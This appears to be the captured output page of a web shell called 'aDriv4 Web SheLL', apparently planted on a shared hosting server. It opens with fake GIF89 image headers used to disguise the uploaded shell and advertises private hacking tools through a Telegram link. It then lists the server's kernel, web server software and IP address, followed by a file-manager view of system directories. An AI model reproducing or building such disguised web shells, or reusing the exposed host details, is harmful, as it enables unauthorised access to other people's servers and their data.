GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 67.223.118.65
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-07 08:22:40
.. dir - root/root 0755 2025-08-05 07:56:31
1748061 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1748062 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1748115 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1748217 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1767894 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1771014 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1771329 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
1775405 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:46
1775501 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:45:46
1776754 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:46:00
1777387 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:46:13
1777558 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:46:21
1777664 dir - soliqmqs/soliqmqs 0555 2026-01-09 08:46:23
acpi dir - root/root 0555 2025-05-07 12:22:43
bus dir - root/root 0555 2025-05-07 12:22:51
driver dir - root/root 0555 2026-01-09 08:46:02
fs dir - root/root 0555 2025-05-07 12:22:51
irq dir - root/root 0555 2025-05-07 12:22:51
kcare dir - root/root 0555 2026-01-09 08:46:02
lve dir - root/root 0555 2026-01-09 08:45:51
net link - soliqmqs/soliqmqs 0555 2026-01-09 08:46:05
scsi dir - root/root 0555 2025-05-07 12:22:51
self link - soliqmqs/soliqmqs 0555 2026-01-09 08:45:47
sys dir - root/root 0555 2025-05-07 12:22:43
sysvipc dir - root/root 0555 2026-01-09 08:46:02
thread-self link - soliqmqs/soliqmqs 0555 2026-01-09 08:45:51
tty dir - root/root 0555 2026-01-09 08:45:52
buddyinfo 0 B root/root 0444 2026-01-09 08:46:02
cgroups 0 B root/root 0444 2026-01-09 08:45:52
cmdline text/plain 0 B root/root 0444 2026-01-09 08:45:52
consoles 0 B root/root 0444 2026-01-09 08:46:02
cpuinfo text/plain 0 B root/root 0444 2026-01-09 08:45:51
crypto 0 B root/root 0444 2026-01-09 08:46:02
devices 0 B root/root 0444 2026-01-09 08:46:02
diskstats 0 B root/root 0444 2026-01-09 08:45:52
dma 0 B root/root 0444 2026-01-09 08:46:02
execdomains 0 B root/root 0444 2026-01-09 08:46:02
fb 0 B root/root 0444 2026-01-09 08:46:02
filesystems text/plain 0 B root/root 0444 2026-01-09 08:45:47
interrupts 0 B root/root 0444 2026-01-09 08:46:02
iomem 0 B root/root 0444 2026-01-09 08:46:02
ioports 0 B root/root 0444 2026-01-09 08:46:02
kallsyms 0 B root/root 0444 2025-05-07 12:22:51
kcore 128 TB root/root 0400 2025-05-07 12:22:43
key-users 0 B root/root 0444 2026-01-09 08:46:02
keys 0 B root/root 0444 2026-01-09 08:46:02
kmsg 0 B root/root 0400 2026-01-09 08:46:02
kpagecgroup 0 B root/root 0400 2026-01-09 08:46:02
kpagecount 0 B root/root 0400 2026-01-09 08:46:02
kpageflags 0 B root/root 0400 2026-01-09 08:46:02
loadavg text/plain 0 B root/root 0444 2026-01-09 08:45:53
locks 0 B root/root 0444 2026-01-09 08:46:02
mdstat 0 B root/root 0444 2026-01-09 08:46:02
meminfo text/plain 0 B root/root 0444 2026-01-09 08:45:51
misc 0 B root/root 0444 2026-01-09 08:46:02
modules 0 B root/root 0444 2026-01-09 08:46:02
mounts text/plain 0 B soliqmqs/soliqmqs 0444 2026-01-09 08:46:05
mtrr 0 B root/root 0644 2025-05-07 12:22:51
pagetypeinfo 0 B root/root 0400 2026-01-09 08:46:02
partitions 0 B root/root 0444 2026-01-09 08:46:02
sched_debug 0 B root/root 0444 2026-01-09 08:46:02
schedstat 0 B root/root 0444 2026-01-09 08:46:02
slabinfo 0 B root/root 0400 2026-01-09 08:46:02
softirqs 0 B root/root 0444 2026-01-09 08:46:02
stat text/plain 0 B root/root 0444 2026-01-09 08:45:49
swaps 0 B root/root 0444 2025-05-07 08:22:41
sysrq-trigger 0 B root/root 0200 2025-05-07 12:22:51
timer_list 0 B root/root 0400 2026-01-09 08:46:02
uptime text/plain 0 B root/root 0444 2026-01-09 08:45:52
version text/plain 0 B root/root 0444 2026-01-09 08:46:02
vmallocinfo 0 B root/root 0400 2026-01-09 08:46:02
vmstat 0 B root/root 0444 2026-01-09 08:46:02
zoneinfo 0 B root/root 0444 2026-01-09 08:46:02
© aDriv4